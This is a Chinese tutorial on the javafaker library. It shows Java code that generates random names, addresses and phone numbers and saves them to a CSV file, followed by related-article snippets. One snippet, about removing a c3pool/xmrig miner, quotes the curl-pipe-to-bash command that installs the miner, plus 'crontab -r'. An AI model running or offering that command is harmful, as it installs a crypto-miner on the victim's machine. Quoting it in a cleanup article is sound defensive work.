faker 伪造数据生成库

faker 伪造数据生成库

前言

javafaker,这是一个用于生成假数据的 Java 库,与 Python 的 faker 库类似。javafaker 库提供了很多方法,用于生成各种类型的随机数据,

基本用法

api介绍

 <!--java faker用于生成随机数据--><dependency><groupId>com.github.javafaker</groupId><artifactId>javafaker</artifactId><version>1.0.2</version></dependency>

我们常用语种

Locale.CHINA //简体中文
Locale.ENGLISH //en
Locale.FRENCH //法语
Locale.GERMAN //德语
Locale.ITALIAN //意大利语
Locale.JAPANESE //日语

常用随机值

姓名、地址、电子邮件、电话号码、商业数据、日期、颜色等

展示代码

 Faker faker = new Faker();// 生成名字String firstName = faker.name().firstName();String lastName = faker.name().lastName();String fullName = faker.name().fullName();// 生成地址String streetName = faker.address().streetName();String city = faker.address().city();String zipCode = faker.address().zipCode();// 生成电子邮件String email = faker.internet().emailAddress();// 生成电话号码String phoneNumber = faker.phoneNumber().phoneNumber();// 生成商业数据String companyName = faker.company().name();String bs = faker.company().bs();// 生成日期String pastDate = faker.date().past(5, TimeUnit.HOURS).toLocaleString(); // 5小时前的日期String futureDate = faker.date().future(1, TimeUnit.HOURS).toLocaleString(); // 1 小时后的日期// 生成颜色String hexColor = faker.color().hex();// 生成随机数和布尔值int randomInt = faker.number().randomDigit();boolean randomBoolean = faker.bool().bool();// 打印结果System.out.println("First Name: " + firstName);System.out.println("Last Name: " + lastName);System.out.println("Full Name: " + fullName);System.out.println("Street Name: " + streetName);System.out.println("City: " + city);System.out.println("Zip Code: " + zipCode);System.out.println("Email: " + email);System.out.println("Phone Number: " + phoneNumber);System.out.println("Company Name: " + companyName);System.out.println("Company BS: " + bs);System.out.println("Past Date: " + pastDate);System.out.println("Future Date: " + futureDate);System.out.println("Hex Color: " + hexColor);System.out.println("Random Int: " + randomInt);System.out.println("Random Boolean: " + randomBoolean);

假设有一个用户实体类

package com.jerry.rpccore.model;import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.ToString;/*** @version 1.0* @Author jerryLau* @Date 2024/4/12 16:41* @注释*/
@Data
@Builder
@AllArgsConstructor
@ToString
public class User {private int id;private String name;private int age;private String address;private String phone;}

随机生成后,保存至数据库或者存在csv文件

package com.jerry.rpccore;import com.github.javafaker.Faker;
import com.jerry.rpccore.model.User;import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;/*** @version 1.0* @Author jerryLau* @Date 2024/4/11 16:38* @注释*/
public class TestMain {public static void main(String[] args) {List<User> users = new ArrayList<>();Faker instance = Faker.instance(Locale.CHINA);for (int i = 0; i < 10; i++) {User build = User.builder().id(i).name(instance.name().fullName()).age(instance.number().randomDigitNotZero()).address(instance.address().city() + instance.address().streetName() + instance.address().streetAddress()).phone(instance.phoneNumber().cellPhone()).build();System.out.println(build);//插入数据库//....userservice.save(build);users.add(build);}//写入文件saveUsersToFile(users);}/**** 写入csv文件* @param users*/private static void saveUsersToFile(List<User> users) {try (BufferedWriter writer = new BufferedWriter(new FileWriter("users.csv"))) {writer.write("ID,Name,Phone,Age,Address\n");for (User user : users) {writer.write(String.format("%d,%s,%s,%d,%s\n",user.getId(),user.getName(),user.getPhone(),user.getAge(),user.getAddress()));}writer.flush();System.out.println("Users saved to file successfully.");} catch (IOException e) {e.printStackTrace();}}
}

可以看到存入文件成功
在这里插入图片描述

注意:只适合生成一些测试数据,各位道友按需进行🤪🤪🤪

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/819307.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用AI动作捕捉制作动画图像——Viggle AI教程

使用AI动作捕捉制作动画图像——Viggle AI教程 在数字媒体时代&#xff0c;动画制作已经成为一种流行的艺术形式。最近&#xff0c;我在网上发现了一个非常有趣的AI动画制作工具——Viggle AI。这个工具不仅简单易用&#xff0c;而且目前还是免费的。在这篇博客中&#xff0c;我…

护眼台灯哪个牌子最好,护眼台灯品牌排行榜分享

​护眼台灯哪个牌子最好&#xff1f;尽管一些家长可能对护眼台灯还不甚了解&#xff0c;下面我将介绍这类台灯的几个显著优势&#xff1a;它们专为减少眼睛疲劳和保护视力而设计&#xff0c;提供稳定且柔和的光线&#xff1b;具备灵活的亮度调节功能&#xff0c;适应不同的阅读…

springMVC理解

springMVC是一种思想&#xff0c;将软件划分为&#xff0c;模型Model&#xff0c;视图View&#xff0c;控制器Controller。 MVC的工作原理&#xff1a;用户通过前端视图页面&#xff0c;发送请求到服务器&#xff0c;在服务器中请求被Controller接收&#xff0c;Controller调用…

使用PL\SQL将Excel表格导入到oracle数据库中

因为要测试生产问题&#xff0c;需要把生产上oracle导出数据导入到测试环境oracle数据库中&#xff0c;尝试了N种方法&#xff0c;发现使用PL\SQL 的ODBC 方法比较好用 1、开始 首先使用plsqldev里面的&#xff0c;工具--》下面的odbc导入器 2、配置 点击之后&#xff0c;会…

OpenHarmony轻量系统开发【2】源码下载和开发环境

2.1源码下载 关于源码下载的&#xff0c;读者可以直接查看官网&#xff1a; https://gitee.com/openharmony/docs/tree/master/zh-cn/release-notes 本文这里做下总结&#xff1a; &#xff08;1&#xff09;注册码云gitee账号。 &#xff08;2&#xff09;注册码云SSH公钥…

weblogic oracle数据源配置

在weblogic console中配置jdbc oracle数据源 1. base_domain->Service->DataSources 在Summary of JDBC Data Sources中&#xff0c;点击New, 选择【Generic Data Source】通用数据源。 2. 设置数据源Name和JNDI name 注&#xff1a;设置的JNDI Name是Java AP中连接…

用于 SQLite 的异步 I/O 模块(二十四)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLite的PRAGMA 声明&#xff08;二十三&#xff09; 下一篇&#xff1a;SQLite、MySQL 和 PostgreSQL 数据库速度比较&#xff08;本文阐述时间很早比较&#xff0c;不具有最新参考性&#xff09;&#xff08;二…

C#医学实验室/检验信息管理系统(LIS系统)源码

目录 检验系统的总体目标 LIS主要包括以下功能&#xff1a; LIS是集&#xff1a;申请、采样、核收、计费、检验、审核、发布、质控、耗材控制等检验科工作为一体的信息管理系统。LIS系统不仅是自动接收检验数据&#xff0c;打印检验报告&#xff0c;系统保存检验信息的工具&a…

使用Hugo、Github Pages搭建自己的博客

文章目录 搭建博客框架及对比使用Hugo搭建博客使用Github Pages部署博客 搭建博客框架及对比 在众多的博客框架中&#xff0c;Hugo、Jekyll和Hexo因其出色的性能和易用性而备受推崇。 特点HugoJekyllHexo速度极高中等较高易用性高中等高&#xff08;熟悉JavaScript者&#xf…

书生·浦语大模型全链路开源体系-第5课

书生浦语大模型全链路开源体系-第5课 书生浦语大模型全链路开源体系-第5课相关资源LMDeploy基础配置LMDeploy运行环境下载internlm2-chat-1_8b模型使用Transformer来直接运行InternLM2-Chat-1.8B模型使用LMDeploy以命令行方式与InternLM2-Chat-1.8B模型对话设置KV Cache最大占用…

数据结构--栈,队列,串,广义表

3.栈 &#xff08;先进后出&#xff09; 栈是一种特殊的线性表&#xff0c;只能从一端插入或删除操作。 4.队列 4.1 4.1.1初始化 4.1.2判断队列是否为空 4.1.3判断队列是否为满 4.1.4入队 4.1.5出队 4.1.6打印队列 4.1.7销毁队列 5.串 5.1 串的定义 由零个或者任意多…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

vue实现前端打印效果

如图效果所示&#xff08;以下演示代码&#xff09; <template><div><el-button v-print"printObj" type"primary" plain click"handle">{{ text }}</el-button><div style"display: none"><div id…

224 基于matlab的优化工具箱优化函数

基于matlab的优化工具箱优化函数&#xff0c; 此工具箱中提供的算法包括&#xff1a; 灰狼优化器&#xff08;GWO&#xff09;&#xff0c;蚂蚁狮子优化器&#xff08;ALO&#xff09;&#xff0c;多功能优化器&#xff08;MVO&#xff09;&#xff0c;蜻蜓算法&#xff08;DA&…

【模拟】Leetcode 替换所有的问号

题目讲解 1576. 替换所有的问号 算法讲解 这里有两个特殊情况&#xff1a;如果&#xff1f;在第一个位置&#xff0c;只需要判断后面的符号&#xff1b; 如果&#xff1f;在最后一个位置&#xff0c;只需要判断前面的符号 class Solution { public:string modifyString(stri…

七月审稿之提升模型效果的三大要素:prompt、数据质量、训练策略(含Reviewer2和PeerRead)​

前言 我带队的整个大模型项目团队超过40人了&#xff0c;分六个项目组&#xff0c;每个项目组都是全职带兼职&#xff0c;且都会每周确定任务/目标/计划&#xff0c;然后各项目组各自做任务拆解&#xff0c;有时同组内任务多时 则2-4人一组 方便并行和讨论&#xff0c;每周文档…

OpenKylin设置root密码

前言 新安装的OpenKylin系统应该root用户没有设置密码&#xff0c;但是可以使用sudo -i 临时获取root权限&#xff0c;不影响正常使用 当前是root用户 1、终端输入passwd命令 passwd2、按照提示输入新密码和确认密码 当前非root用户 1、终端输入sudo passwd root 命令 s…

【计算机毕业设】智慧食堂管理系统——后附源码

&#x1f389;**欢迎来到我的技术世界&#xff01;**&#x1f389; &#x1f4d8; 博主小档案&#xff1a; 一名来自世界500强的资深程序媛&#xff0c;毕业于国内知名985高校。 &#x1f527; 技术专长&#xff1a; 在深度学习任务中展现出卓越的能力&#xff0c;包括但不限于…

cookie与session及其区别

一、cookie 1. 为什么需要cookie&#xff1f; web程序使用HTTP协议进行传输&#xff0c;而HTTP协议是无状态的协议&#xff08;即对事务处理无记忆性&#xff0c;如果后续处理需要使用前面的信息&#xff0c;只能重传&#xff0c;导致每次连接传送的数据量增大&#xff09;。c…

【VUE】Vue项目打包报告生成:让性能优化触手可及

Vue项目打包报告生成&#xff1a;让性能优化触手可及 Vue.js是一款流行的前端框架&#xff0c;开发者在使用Vue.js构建项目时&#xff0c;生产环境的性能优化尤为重要。为了帮助开发者分析和优化打包出来的资源&#xff0c;生成打包报告是一个不可或缺的步骤。本文将介绍几种在…